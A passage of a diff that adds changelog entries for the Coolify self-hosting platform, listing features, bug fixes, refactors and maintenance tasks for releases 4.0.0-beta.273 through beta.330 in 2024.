+
+- Improve environment variable handling in shared.php
+
+### ⚙️ Miscellaneous Tasks
+
+- Set timeout for ServerCheckJob to 60 seconds
+- Update appwrite.yaml to include OpenSSL key variable assignment
+
+## [4.0.0-beta.330] - 2024-09-06
+
+### 🐛 Bug Fixes
+
+- Parser
+- Plunk NEXT_PUBLIC_API_URI
+
+### 💼 Other
+
+- Pull helper image if not available otherwise s3 backup upload fails
+
+### 🚜 Refactor
+
+- Improve handling of server timezones in scheduled backups and tasks
+- Improve handling of server timezones in scheduled backups and tasks
+- Improve handling of server timezones in scheduled backups and tasks
+- Update cleanup schedule to run daily at midnight
+- Skip returning volume if driver type is cifs or nfs
+
+### ⚙️ Miscellaneous Tasks
+
+- Update coolify-helper.yml to get version from versions.json
+- Disable Ray by default
+- Enable Ray by default and update Dockerfile with latest versions of PACK and NIXPACKS
+- Update Ray configuration and Dockerfile
+- Add middleware for updating environment variables by UUID in `api.php` routes
+- Expose port 3000 in browserless.yaml template
+- Update Ray configuration and Dockerfile
+- Update coolify version to 4.0.0-beta.331
+- Update versions.json and sentry.php to 4.0.0-beta.332
+- Update version to 4.0.0-beta.332
+- Update DATABASE_URL in plunk.yaml to use plunk database
+- Add coolify.managed=true label to Docker image builds
+- Update docker image pruning command to exclude managed images
+- Update docker cleanup schedule to run daily at midnight
+- Update versions.json to version 1.0.1
+- Update coolify-helper.yml to include "next" branch in push trigger
+
+## [4.0.0-beta.326] - 2024-09-03
+
+### 🚀 Features
+
+- Update server_settings table to force docker cleanup
+- Update Docker Compose file with DB_URL environment variable
+- Refactor shared.php to improve environment variable handling
+
+### 🐛 Bug Fixes
+
+- Wrong executions order
+- Handle project not found error in environment_details API endpoint
+- Deployment running for - without "ago"
+- Update helper image pulling logic to only pull if the version is newer
+
+### 💼 Other
+
+- Plunk svg
+
+### 📚 Documentation
+
+- Update Plunk documentation link in compose/plunk.yaml
+
+### ⚙️ Miscellaneous Tasks
+
+- Update UI for displaying no executions found in scheduled task list
+- Update UI for displaying deployment status in deployment list
+- Update UI for displaying deployment status in deployment list
+- Ignore unnecessary files in production build workflow
+- Update server form layout and settings
+- Update Dockerfile with latest versions of PACK and NIXPACKS
+
+## [4.0.0-beta.324] - 2024-09-02
+
+### 🚀 Features
+
+- Preserve git repository with advanced file storages
+- Added Windmill template
+- Added Budibase template
+- Add shm-size for custom docker commands
+- Add custom docker container options to all databases
+- Able to select different postgres database
+- Add new logos for jobscollider and hostinger
+- Order scheduled task executions
+- Add Code Server environment variables to Service model
+- Add coolify build env variables to building phase
+- Add new logos for GlueOps, Ubicloud, Juxtdigital, Saasykit, and Massivegrid
+- Add new logos for GlueOps, Ubicloud, Juxtdigital, Saasykit, and Massivegrid
+
+### 🐛 Bug Fixes
+
+- Timezone not updated when systemd is missing
+- If volumes + file mounts are defined, should merge them together in the compose file
+- All mongo v4 backups should use the different backup command
+- Database custom environment variables
+- Connect compose apps to the right predefined network
+- Docker compose destination network
+- Server status when there are multiple servers
+- Sync fqdn change on the UI
+- Pr build names in case custom name is used
+- Application patch request instant_deploy
+- Canceling deployment on build server
+- Backup of password protected postgresql database
+- Docker cleanup job
+- Storages with preserved git repository
+- Parser parser parser
+- New parser only in dev
+- Parser parser
+- Numberoflines should be number
+- Docker cleanup job
+- Fix directory and file mount headings in file-storage.blade.php
+- Preview fqdn generation
+- Revert a few lines
+- Service ui sync bug
+- Setup script doesn't work on rhel based images with some curl variant already installed
+- Let's wait for healthy container during installation and wait an extra 20 seconds (for migrations)
+- Infra files
+- Log drain only for Applications
+- Copy large compose files through scp (not ssh)
+- Check if array is associative or not
+- Openapi endpoint urls
+- Convert environment variables to one format in shared.php
+- Logical volumes could be overwritten with new path
+- Env variable in value parsed
+- Pull coolify image only when the app needs to be updated
+
+### 💼 Other
+
+- Actually update timezone on the server
+- Cron jobs are executed based on the server timezone
+- Server timezone seeder
+- Recent backups UI
+- Use apt-get instead of apt
+- Typo
+- Only pull helper image if the version is newer than the one
+
+### 🚜 Refactor
+
+- Update event listeners in Show components
+- Refresh application to get latest database changes
+- Update RabbitMQ configuration to use environment variable for port
+- Remove debug statement in parseDockerComposeFile function
+- ParseServiceVolumes
+- Update OpenApi command to generate documentation
+- Remove unnecessary server status check in destination view
+- Remove unnecessary admin user email and password in budibase.yaml
+- Improve saving of custom internal name in Advanced.php
+- Add conditional check for volumes in generate_compose_file()
+- Improve storage mount forms in add.blade.php
+- Load environment variables based on resource type in sortEnvironmentVariables()
+- Remove unnecessary network cleanup in Init.php
+- Remove unnecessary environment variable checks in parseDockerComposeFile()
+- Add null check for docker_compose_raw in parseCompose()
+- Update dockerComposeParser to use YAML data from $yaml instead of $compose
+- Convert service variables to key-value pairs in parseDockerComposeFile function
+- Update database service name from mariadb to mysql
+- Remove unnecessary code in DatabaseBackupJob and BackupExecutions
+- Update Docker Compose parsing function to convert service variables to key-value pairs
+- Update Docker Compose parsing function to convert service variables to key-value pairs
+- Remove unused server timezone seeder and related code
+- Remove unused server timezone seeder and related code
+- Remove unused PullCoolifyImageJob from schedule
+- Update parse method in Advanced, All, ApplicationPreview, General, and ApplicationDeploymentJob classes
+- Remove commented out code for getIptables() in Dashboard.php
+- Update .env file path in install.sh script
+- Update SELF_HOSTED environment variable in docker-compose.prod.yml
+- Remove unnecessary code for creating coolify network in upgrade.sh
+- Update environment variable handling in StartClickhouse.php and ApplicationDeploymentJob.php
+- Improve handling of COOLIFY_URL in shared.php
+- Update build_args property type in ApplicationDeploymentJob
+- Update background color of sponsor section in README.md
+- Update Docker Compose location handling in PublicGitRepository
+- Upgrade process of Coolify
+
+### 🧪 Testing
+
+- More tests
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version to 4.0.0-beta.324
+- New compose parser with tests
+- Update version to 1.3.4 in install.sh and 1.0.6 in upgrade.sh
+- Update memory limit to 64MB in horizon configuration
+- Update php packages
+- Update axios npm dependency to version 1.7.5
+- Update Coolify version to 4.0.0-beta.324 and fix file paths in upgrade script
+- Update Coolify version to 4.0.0-beta.324
+- Update Coolify version to 4.0.0-beta.325
+- Update Coolify version to 4.0.0-beta.326
+- Add cd command to change directory before removing .env file
+- Update Coolify version to 4.0.0-beta.327
+- Update Coolify version to 4.0.0-beta.328
+- Update sponsor links in README.md
+- Update version.json to versions.json in GitHub workflow
+- Cleanup stucked resources and scheduled backups
+- Update GitHub workflow to use versions.json instead of version.json
+- Update GitHub workflow to use versions.json instead of version.json
+- Update GitHub workflow to use versions.json instead of version.json
+- Update GitHub workflow to use jq container for version extraction
+- Update GitHub workflow to use jq container for version extraction
+
+## [4.0.0-beta.323] - 2024-08-08
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version to 4.0.0-beta.323
+
+## [4.0.0-beta.322] - 2024-08-08
+
+### 🐛 Bug Fixes
+
+- Manual update process
+
+### 🚜 Refactor
+
+- Update Server model getContainers method to use collect() for containers and containerReplicates
+- Import ProxyTypes enum and use TRAEFIK instead of TRAEFIK_V2
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version to 4.0.0-beta.322
+
+## [4.0.0-beta.321] - 2024-08-08
+
+### 🐛 Bug Fixes
+
+- Scheduledbackup not found
+
+### 🚜 Refactor
+
+- Update StandalonePostgresql database initialization and backup handling
+- Update cron expressions and add helper text for scheduled tasks
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version to 4.0.0-beta.321
+
+## [4.0.0-beta.320] - 2024-08-08
+
+### 🚀 Features
+
+- Delete team in cloud without subscription
+- Coolify init should cleanup stuck networks in proxy
+- Add manual update check functionality to settings page
+- Update auto update and update check frequencies in settings
+- Update Upgrade component to check for latest version of Coolify
+- Improve homepage service template
+- Support map fields in Directus
+- Labels by proxy type
+- Able to generate only the required labels for resources
+
+### 🐛 Bug Fixes
+
+- Only append docker network if service/app is running
+- Remove lazy load from scheduled tasks
+- Plausible template
+- Service_url should not have a trailing slash
+- If usagebefore cannot be determined, cleanup docker with force
+- Async remote command
+- Only run logdrain if necessary
+- Remove network if it is only connected to coolify proxy itself
+- Dir mounts should have proper dirs
+- File storages (dir/file mount) handled properly
+- Do not use port exposes on docker compose buildpacks
+- Minecraft server template fixed
+- Graceful shutdown
+- Stop resources gracefully
+- Handle null and empty disk usage in DockerCleanupJob
+- Show latest version on manual update view
+- Empty string content should be saved as a file
+- Update Traefik labels on init
+- Add missing middleware for server check job
+
+### 🚜 Refactor
+
+- Update CleanupDatabase.php to adjust keep_days based on environment
+- Adjust keep_days in CleanupDatabase.php based on environment
+- Remove commented out code for cleaning up networks in CleanupDocker.php
+- Update livewire polling interval in heading.blade.php
+- Remove unused code for checking server status in Heading.php
+- Simplify log drain installation in ServerCheckJob
+- Remove unnecessary debug statement in ServerCheckJob
+- Simplify log drain installation and stop log drain if necessary
+- Cleanup unnecessary dynamic proxy configuration in Init command
+- Remove unnecessary debug statement in ApplicationDeploymentJob
+- Update timeout for graceful_shutdown_container in ApplicationDeploymentJob
+- Remove unused code and optimize CheckForUpdatesJob
+- Update ProxyTypes enum values to use TRAEFIK instead of TRAEFIK_V2
+- Update Traefik labels on init and cleanup unnecessary dynamic proxy configuration
+
+### 🎨 Styling
+
+- Linting
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version to 4.0.0-beta.320
+- Add pull_request image builds to GH actions
+- Add comment explaining the purpose of disconnecting the network in cleanup_unused_network_from_coolify_proxy()
+- Update formbricks template
+- Update registration view to display a notice for first user that it will be an admin
+- Update server form to use password input for IP Address/Domain field
+- Update navbar to include service status check
+- Update navbar and configuration to improve service status check functionality
+- Update workflows to include PR build and merge manifest steps
+- Update UpdateCoolifyJob timeout to 10 minutes
+- Update UpdateCoolifyJob to dispatch CheckForUpdatesJob synchronously
+
+## [4.0.0-beta.319] - 2024-07-26
+
+### 🐛 Bug Fixes
+
+- Parse docker composer
+- Service env parsing
+- Service env variables
+- Activity type invalid
+- Update env on ui
+
+### 💼 Other
+
+- Service env parsing
+
+### ⚙️ Miscellaneous Tasks
+
+- Collect/create/update volumes in parseDockerComposeFile function
+
+## [4.0.0-beta.318] - 2024-07-24
+
+### 🚀 Features
+
+- Create/delete project endpoints
+- Add patch request to projects
+- Add server api endpoints
+- Add branddev logo to README.md
+- Update API endpoint summaries
+- Update Caddy button label in proxy.blade.php
+- Check custom internal name through server's applications.
+- New server check job
+
+### 🐛 Bug Fixes
+
+- Preview deployments should be stopped properly via gh webhook
+- Deleting application should delete preview deployments
+- Plane service images
+- Fix issue with deployment start command in ApplicationDeploymentJob
+- Directory will be created by default for compose host mounts
+- Restart proxy does not work + status indicator on the UI
+- Uuid in api docs type
+- Raw compose deployment .env not found
+- Api -> application patch endpoint
+- Remove pull always when uploading backup to s3
+- Handle array env vars
+- Link in task failed job notifications
+- Random generated uuid will be full length (not 7 characters)
+- Gitlab service
+- Gitlab logo
+- Bitbucket repository url
+- By default volumes that we cannot determine if they are directories or files are treated as directories
+- Domain update on services on the UI
+- Update SERVICE_FQDN/URL env variables when you change the domain
+- Several shared environment variables in one value, parsed correctly
+- Members of root team should not see instance admin stuff
+
+### 💼 Other
+
+- Formbricks template add required CRON_SECRET
+- Add required CRON_SECRET to Formbricks template
+
+### ⚙️ Miscellaneous Tasks
+
+- Update APP_BASE_URL to use SERVICE_FQDN_PLANE
+- Update resource-limits.blade.php with improved input field helpers
+- Update version numbers to 4.0.0-beta.319
+- Remove commented out code for docker image pruning
+
+## [4.0.0-beta.314] - 2024-07-15
+
+### 🚀 Features
+
+- Improve error handling in loadComposeFile method
+- Add readonly labels
+- Preserve git repository
+- Force cleanup server
+
+### 🐛 Bug Fixes
+
+- Typo in is_literal helper
+- Env is_literal helper text typo
+- Update docker compose pull command with --policy always
+- Plane service template
+- Vikunja
+- Docmost template
+- Drupal
+- Improve github source creation
+- Tag deployments
+- New docker compose parsing
+- Handle / in preselecting branches
+- Handle custom_internal_name check in ApplicationDeploymentJob.php
+- If git limit reached, ignore it and continue with a default selection
+- Backup downloads
+- Missing input for api endpoint
+- Volume detection (dir or file) is fixed
+- Supabase
+- Create file storage even if content is empty
+
+### 💼 Other
+
+- Add basedir + compose file in new compose based apps
+
+### 🚜 Refactor
+
+- Remove unused code and fix storage form layout
+- Update Docker Compose build command to include --pull flag
+- Update DockerCleanupJob to handle nullable usageBefore property
+- Server status job and docker cleanup job
+- Update DockerCleanupJob to use server settings for force cleanup
+- Update DockerCleanupJob to use server settings for force cleanup
+- Disable health check for Rust applications during deployment
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version to 4.0.0-beta.315
+- Update version to 4.0.0-beta.316
+- Update bug report template
+- Update repository form with simplified URL input field
+- Update width of container in general.blade.php
+- Update checkbox labels in general.blade.php
+- Update general page of apps
+- Handle JSON parsing errors in format_docker_command_output_to_json
+- Update Traefik image version to v2.11
+- Update version to 4.0.0-beta.317
+- Update version to 4.0.0-beta.318
+- Update helper message with link to documentation
+- Disable health check by default
+- Remove commented out code for sending internal notification
+
+### ◀️ Revert
+
+- Pull policy
+- Advanced dropdown
+
+## [4.0.0-beta.308] - 2024-07-11
+
+### 🚀 Features
+
+- Cleanup unused docker networks from proxy
+- Compose parser v2
+- Display time interval for rollback images
+- Add security and storage access key env to twenty template
+- Add new logo for Latitude
+- Enable legacy model binding in Livewire configuration
+
+### 🐛 Bug Fixes
+
+- Do not overwrite hardcoded variables if they rely on another variable
+- Remove networks when deleting a docker compose based app
+- Api
+- Always set project name during app deployments
+- Remove volumes as well
+- Gitea pr previews
+- Prevent instance fqdn persisting to other servers dynamic proxy configs
+- Better volume cleanups
+- Cleanup parameter
+- Update redirect URL in unauthenticated exception handler
+- Respect top-level configs and secrets
+- Service status changed event
+- Disable sentinel until a few bugs are fixed
+- Service domains and envs are properly updated
+- *(reactive-resume)* New healthcheck command for MinIO
+- *(MinIO)* New command healthcheck
+- Update minio hc in services
+- Add validation for missing docker compose file
+
+### 🚜 Refactor
+
+- Add force parameter to StartProxy handle method
+- Comment out unused code for network cleanup
+- Reset default labels when docker_compose_domains is modified
+- Webhooks view
+- Tags view
+- Only get instanceSettings once from db
+- Update Dockerfile to set CI environment variable to true
+- Remove unnecessary code in AppServiceProvider.php
+- Update Livewire configuration views
+- Update Webhooks.php to use nullable type for webhook URLs
+- Add lazy loading to tags in Livewire configuration view
+- Update metrics.blade.php to improve alert message clarity
+- Update version numbers to 4.0.0-beta.312
+- Update version numbers to 4.0.0-beta.314
+
+### ⚙️ Miscellaneous Tasks
+
+- Update Plausible docker compose template to Plausible 2.1.0
+- Update Plausible docker compose template to Plausible 2.1.0
+- Update livewire/livewire dependency to version 3.4.9
+- Refactor checkIfDomainIsAlreadyUsed function
+- Update storage.blade.php view for livewire project service
+- Update version to 4.0.0-beta.310
+- Update composer dependencies
+- Add new logo for Latitude
+- Bump version to 4.0.0-beta.311
+
+### ◀️ Revert
+
+- Instancesettings
+
+## [4.0.0-beta.301] - 2024-06-24
+
+### 🚀 Features
+
+- Local fonts
+- More API endpoints
+- Bulk env update api endpoint
+- Update server settings metrics history days to 7
+- New app API endpoint
+- Private gh deployments through api
+- Lots of api endpoints
+- Api api api api api api
+- Rename CloudCleanupSubs to CloudCleanupSubscriptions
+- Early fraud warning webhook
+- Improve internal notification message for early fraud warning webhook
+- Add schema for uuid property in app update response
+
+### 🐛 Bug Fixes
+
+- Run user commands on high prio queue
+- Load js locally
+- Remove lemon + paddle things
+- Run container commands on high priority
+- Image logo
+- Remove both option for api endpoints. it just makes things complicated
+- Cleanup subs in cloud
+- Show keydbs/dragonflies/clickhouses
+- Only run cloud clean on cloud + remove root team
+- Force cleanup on busy servers
+- Check domain on new app via api
+- Custom container name will be the container name, not just internal network name
+- Api updates
+- Yaml everywhere
+- Add newline character to private key before saving
+- Add validation for webhook endpoint selection
+- Database input validators
+- Remove own app from domain checks
+- Return data of app update
+
+### 💼 Other
+
+- Update process
+- Glances service
+- Glances
+- Able to update application
+
+### 🚜 Refactor
+
+- Update Service model's saveComposeConfigs method
+- Add default environment to Service model's saveComposeConfigs method
+- Improve handling of default environment in Service model's saveComposeConfigs method
+- Remove commented out code in Service model's saveComposeConfigs method
+- Update stack-form.blade.php to include wire:target attribute for submit button
+- Update code to use str() instead of Str::of() for string manipulation
+- Improve formatting and readability of source.blade.php
+- Add is_build_time property to nixpacks_php_fallback_path and nixpacks_php_root_dir
+- Simplify code for retrieving subscription in Stripe webhook
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version to 4.0.0-beta.302
+- Update version to 4.0.0-beta.303
+- Update version to 4.0.0-beta.305
+- Update version to 4.0.0-beta.306
+- Add log1x/laravel-webfonts package
+- Update version to 4.0.0-beta.307
+- Refactor ServerStatusJob constructor formatting
+- Update Monaco Editor for Docker Compose and Proxy Configuration
+- More details
+- Refactor shared.php helper functions
+
+## [4.0.0-beta.298] - 2024-06-24
+
+### 🚀 Features
+
+- Spanish translation
+- Cancelling a deployment will check if new could be started.
+- Add supaguide logo to donations section
+- Nixpacks now could reach local dbs internally
+- Add Tigris logo to other/logos directory
+- COOLIFY_CONTAINER_NAME predefined variable
+- Charts
+- Sentinel + charts
+- Container metrics
+- Add high priority queue
+- Add metrics warning for servers without Sentinel enabled
+- Add blacksmith logo to donations section
+- Preselect server and destination if only one found
+- More api endpoints
+- Add API endpoint to update application by UUID
+- Update statusnook logo filename in compose template
+
+### 🐛 Bug Fixes
+
+- Stripprefix middleware correctly labeled to http
+- Bitbucket link
+- Compose generator
+- Do no truncate repositories wtih domain (git) in it
+- In services should edit compose file for volumes and envs
+- Handle laravel deployment better
+- Db proxy status shown better in the UI
+- Show commit message on webhooks + prs
+- Metrics parsing
+- Charts
+- Application custom labels reset after saving
+- Static build with new nixpacks build process
+- Make server charts one livewire component with one interval selector
+- You can now add env variable from ui to services
+- Update compose environment with UI defined variables
+- Refresh deployable compose without reload
+- Remove cloud stripe notifications
+- App deployment should be in high queue
+- Remove zoom from modals
+- Get envs before sortby
+- MB is % lol
+- Projects with 0 envs
+
+### 💼 Other
+
+- Unnecessary notification
+
+### 🚜 Refactor
+
+- Update text color for stderr output in deployment show view
+- Update text color for stderr output in deployment show view
+- Remove debug code for saving environment variables
+- Update Docker build commands for better performance and flexibility
+- Update image sizes and add new logos to README.md
+- Update README.md with new logos and fix styling
+- Update shared.php to use correct key for retrieving sentinel version
+- Update container name assignment in Application model
+- Remove commented code for docker container removal
+- Update Application model to include getDomainsByUuid method
+- Update Project/Show component to sort environments by created_at
+- Update profile index view to display 2FA QR code in a centered container
+- Update dashboard.blade.php to use project's default environment for redirection
+- Update gitCommitLink method to handle null values in source.html_url
+- Update docker-compose generation to use multi-line literal block
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version numbers to 4.0.0-beta.298
+- Switch to database sessions from redis
+- Update dependencies and remove unused code
+- Update tailwindcss and vue versions in package.json
+- Update service template URL in constants.php
+- Update sentinel version to 0.0.8
+- Update chart styling and loading text
+- Update sentinel version to 0.0.9
+- Update Spanish translation for failed authentication messages
+- Add portuguese traslation
+- Add Turkish translations
+- Add Vietnamese translate
+- Add Treive logo to donations section
+- Update README.md with latest release version badge
+- Update latest release version badge in README.md
+- Update version to 4.0.0-beta.299
+- Move server delete component to the bottom of the page
+- Update version to 4.0.0-beta.301
+
+## [4.0.0-beta.297] - 2024-06-11
+
+### 🚀 Features
+
+- Easily redirect between www-and-non-www domains
+- Add logos for new sponsors
+- Add homepage template
+- Update homepage.yaml with environment variables and volumes
+
+### 🐛 Bug Fixes
+
+- Multiline build args
+- Setup script doesnt link to the correct source code file
+- Install.sh do not reinstall packages on arch
+- Just restart
+
+### 🚜 Refactor
+
+- Replaces duplications in code with a single function
+
+### ⚙️ Miscellaneous Tasks
+
+- Update page title in resource index view
+- Update logo file path in logto.yaml
+- Update logo file path in logto.yaml
+- Remove commented out code for docker container removal
+- Add isAnyDeploymentInprogress function to check if any deployments are in progress
+- Add ApplicationDeploymentJob and pint.json
+
+## [4.0.0-beta.295] - 2024-06-10
+
+### 🚀 Features
+
+- Able to change database passwords on the UI. It won't sync to the database.
+- Able to add several domains to compose based previews
+- Add bounty program link to bug report template
+- Add titles
+- Db proxy logs
+
+### 🐛 Bug Fixes
+
+- Custom docker compose commands, add project dir if needed
+- Autoupdate process
+- Backup executions view
+- Handle previously defined compose previews
+- Sort backup executions
+- Supabase service, newest versions
+- Set default name for Docker volumes if it is null
+- Multiline variable should be literal + should be multiline in bash with \
+- Gitlab merge request should close PR
+
+### 💼 Other
+
+- Rocketchat
+- New services based git apps
+
+### 🚜 Refactor
+
+- Append utm_source parameter to documentation URL
+- Update save_environment_variables method to use application's environment_variables instead of environment_variables_preview
+- Update deployment previews heading to "Deployments"
+- Remove unused variables and improve code readability
+- Initialize null properties in Github Change component
+- Improve pre and post deployment command inputs
+- Improve handling of Docker volumes in parseDockerComposeFile function
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version numbers to 4.0.0-beta.295
+- Update supported OS list with almalinux
+- Update install.sh to support PopOS
+- Update install.sh script to version 1.3.2 and handle Linux Mint as Ubuntu
+
+## [4.0.0-beta.294] - 2024-06-04
+
+### ⚙️ Miscellaneous Tasks
+
+- Update Dockerfile with latest versions of Docker, Docker Compose, Docker Buildx, Pack, and Nixpacks
+
+## [4.0.0-beta.289] - 2024-05-29
+
+### 🚀 Features
+
+- Add PHP memory limit environment variable to docker-compose.prod.yml
+- Add manual update option to UpdateCoolify handle method
+- Add port configuration for Vaultwarden service
+
+### 🐛 Bug Fixes
+
+- Sync upgrade process
+- Publish horizon
+- Add missing team model
+- Test new upgrade process?
+- Throw exception
+- Build server dirs not created on main server
+- Compose load with non-root user
+- Able to redeploy dockerfile based apps without cache
+- Compose previews does have env variables
+- Fine-tune cdn pulls
+- Spamming :D
+- Parse docker version better
+- Compose issues
+- SERVICE_FQDN has source port in it
+- Logto service
+- Allow invitations via email
+- Sort by defined order + fixed typo
+- Only ignore volumes with driver_opts
+- Check env in args for compose based apps
+
+### 🚜 Refactor
+
+- Update destination.blade.php to add group class for better styling
+- Applicationdeploymentjob
+- Improve code structure in ApplicationDeploymentJob.php
+- Remove unnecessary debug statement in ApplicationDeploymentJob.php
+- Remove unnecessary debug statements and improve code structure in RunRemoteProcess.php and ApplicationDeploymentJob.php
+- Remove unnecessary logging statements from UpdateCoolify
+- Update storage form inputs in show.blade.php
+- Improve Docker Compose parsing for services
+- Remove unnecessary port appending in updateCompose function
+- Remove unnecessary form class in profile index.blade.php
+- Update form layout in invite-link.blade.php
+- Add log entry when starting new application deployment
+- Improve Docker Compose parsing for services
+- Update Docker Compose parsing for services
+- Update slogan in shlink.yaml
+- Improve display of deployment time in index.blade.php
+- Remove commented out code for clearing Ray logs
+- Update save_environment_variables method to use application's environment_variables instead of environment_variables_preview
+
+### ⚙️ Miscellaneous Tasks
+
+- Update for version 289
+- Fix formatting issue in deployment index.blade.php file
+- Remove unnecessary wire:navigate attribute in breadcrumbs.blade.php
+- Rename docker dirs
+- Update laravel/socialite to version v5.14.0 and livewire/livewire to version 3.4.9
+- Update modal styles for better user experience
+- Update deployment index.blade.php script for better performance
+- Update version numbers to 4.0.0-beta.290
+- Update version numbers to 4.0.0-beta.291
+- Update version numbers to 4.0.0-beta.292
+- Update version numbers to 4.0.0-beta.293
+- Add upgrade guide link to upgrade.blade.php
+- Improve upgrade.blade.php with clearer instructions and formatting
+- Update version numbers to 4.0.0-beta.294
+- Add Lightspeed.run as a sponsor
+- Update Dockerfile to install vim
+
+## [4.0.0-beta.288] - 2024-05-28
+
+### 🐛 Bug Fixes
+
+- Do not allow service storage mount point modifications
+- Volume adding
+
+### ⚙️ Miscellaneous Tasks
+
+- Update Sentry release version to 4.0.0-beta.288
+
+## [4.0.0-beta.287] - 2024-05-27
+
+### 🚀 Features
+
+- Handle incomplete expired subscriptions in Stripe webhook
+- Add more persistent storage types
+
+### 🐛 Bug Fixes
+
+- Force load services from cdn on reload list
+
+### ⚙️ Miscellaneous Tasks
+
+- Update Sentry release version to 4.0.0-beta.287
+- Add Thompson Edolo as a sponsor
+- Add null checks for team in Stripe webhook
+
+## [4.0.0-beta.286] - 2024-05-27
+
+### 🚀 Features
+
+- If the time seems too long it remains at 0s
+- Improve Docker Engine start logic in ServerStatusJob
+- If proxy stopped manually, it won't start back again
+- Exclude_from_hc magic
+- Gitea manual webhooks
+- Add container logs in case the container does not start healthy
+
+### 🐛 Bug Fixes
+
+- Wrong time during a failed deployment
+- Removal of the failed deployment condition, addition of since started instead of finished time
+- Use local versions + service templates and query them every 10 minutes
+- Check proxy functionality before removing unnecessary coolify.yaml file and checking Docker Engine
+- Show first 20 users only in admin view
+- Add subpath for services
+- Ghost subdir
+- Do not pull templates in dev
+- Templates
+- Update error message for invalid token to mention invalid signature
+- Disable containerStopped job for now
+- Disable unreachable/revived notifications for now
+- JSON_UNESCAPED_UNICODE
+- Add wget to nixpacks builds
+- Pre and post deployment commands
+- Bitbucket commits link
+- Better way to add curl/wget to nixpacks
+- Root team able to download backups
+- Build server should not have a proxy
+- Improve build server functionalities
+- Sentry issue
+- Sentry
+- Sentry error + livewire downgrade
+- Sentry
+- Sentry
+- Sentry error
+- Sentry
+
+### 🚜 Refactor
+
+- Update edit-domain form in project service view
+- Add Huly services to compose file
+- Remove redundant heading in backup settings page
+- Add isBuildServer method to Server model
+- Update docker network creation in ApplicationDeploymentJob
+
+### ⚙️ Miscellaneous Tasks
+
+- Change pre and post deployment command length in applications table
+- Refactor container name logic in GetContainersStatus.php and ForcePasswordReset.php
+- Remove unnecessary content from Docker Compose file
+
+## [4.0.0-beta.285] - 2024-05-21
+
+### 🚀 Features
+
+- Add SerpAPI as a Github Sponsor
+- Admin view for deleting users
+- Scheduled task failed notification
+
+### 🐛 Bug Fixes
+
+- Optimize new resource creation
+- Show it docker compose has syntax errors
+
+### 💼 Other
+
+- Responsive here and there
+
+## [4.0.0-beta.284] - 2024-05-19
+
+### 🚀 Features
+
+- Add hc logs to healthchecks
+
+### ◀️ Revert
+
+- Hc return code check
+
+## [4.0.0-beta.283] - 2024-05-17
+
+### 🚀 Features
+
+- Update healthcheck test in StartMongodb action
+- Add pull_request_id filter to get_last_successful_deployment method in Application model
+
+### 🐛 Bug Fixes
+
+- PR deployments have good predefined envs
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version to 4.0.0-beta.283
+
+## [4.0.0-beta.281] - 2024-05-17
+
+### 🚀 Features
+
+- Shows the latest deployment commit + message on status
+- New manual update process + remove next_channel
+- Add lastDeploymentInfo and lastDeploymentLink props to breadcrumbs and status components
+- Sort envs alphabetically and creation date
+- Improve sorting of environment variables in the All component
+
+### 🐛 Bug Fixes
+
+- Hc from localhost to 127.0.0.1
+- Use rc in hc
+- Telegram group chat notifications
+
+## [4.0.0-beta.280] - 2024-05-16
+
+### 🐛 Bug Fixes
+
+- Commit message length
+
+## [4.0.0-beta.279] - 2024-05-16
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version numbers to 4.0.0-beta.279
+- Limit commit message length to 50 characters in ApplicationDeploymentJob
+
+## [4.0.0-beta.278] - 2024-05-16
+
+### 🚀 Features
+
+- Adding new COOLIFY_ variables
+- Save commit message and better view on deployments
+- Toggle label escaping mechanism
+
+### 🐛 Bug Fixes
+
+- Use commit hash on webhooks
+
+### ⚙️ Miscellaneous Tasks
+
+- Refactor Service.php to handle missing admin user in extraFields() method
+- Update twenty CRM template with environment variables and dependencies
+- Refactor applications.php to remove unused imports and improve code readability
+- Refactor deployment index.blade.php for improved readability and rollback handling
+- Refactor GitHub app selection UI in project creation form
+- Update ServerLimitCheckJob.php to handle missing serverLimit value
+- Remove unnecessary code for saving commit message
+- Update DOCKER_VERSION to 26.0 in install.sh script
+- Update Docker and Docker Compose versions in Dockerfiles
+
+## [4.0.0-beta.277] - 2024-05-10
+
+### 🚀 Features
+
+- Add AdminRemoveUser command to remove users from the database
+
+### 🐛 Bug Fixes
+
+- Color for resource operation server and project name
+- Only show realtime error on non-cloud instances
+- Only allow push and mr gitlab events
+- Improve scheduled task adding/removing
+- Docker compose dependencies for pr previews
+- Properly populating dependencies
+
+### 💼 Other
+
+- Fix a few boxes here and there
+
+### ⚙️ Miscellaneous Tasks
+
+- Update version numbers to 4.0.0-beta.278
+- Update hover behavior and cursor style in scheduled task executions view
+- Refactor scheduled task view to improve code readability and maintainability
+- Skip scheduled tasks if application or service is not running
+- Remove debug logging statements in Kernel.php
+- Handle invalid cron strings in Kernel.php
+
+## [4.0.0-beta.275] - 2024-05-06
+
+### 🚀 Features
+
+- Add container name to network aliases in ApplicationDeploymentJob
+- Add lazy loading for images in General.php and improve Docker Compose file handling in Application.php
+- Experimental sentinel
+- Start Sentinel on servers.
+- Pull new sentinel image and restart container
+- Init metrics
+
+### 🐛 Bug Fixes
+
+- Typo in tags.blade.php
+- Install.sh error
+- Env file
+- Comment out internal notification in email_verify method
+- Confirmation for custom labels
+- Change permissions on newly created dirs
+
+### 💼 Other
+
+- Fix tag view
+
+### 🚜 Refactor
+
+- Add SCHEDULER environment variable to StartSentinel.php
+
+### ⚙️ Miscellaneous Tasks
+
+- Dark mode should be the default
+- Improve menu item styling and spacing in service configuration and index views
+- Improve menu item styling and spacing in service configuration and index views
+- Improve menu item styling and spacing in project index and show views
+- Remove docker compose versions
+- Add Listmonk service template and logo
+- Refactor GetContainersStatus.php for improved readability and maintainability
+- Refactor ApplicationDeploymentJob.php for improved readability and maintainability
+- Add metrics and logs directories to installation script
+- Update sentinel version to 0.0.2 in versions.json
+- Update permissions on metrics and logs directories
+- Comment out server sentinel check in ServerStatusJob
+
+## [4.0.0-beta.273] - 2024-05-03
+
+### 🐛 Bug Fixes
+
+- Formbricks image origin
+- Add port even if traefik is used
+
+### ⚙️ Miscellaneous Tasks
+
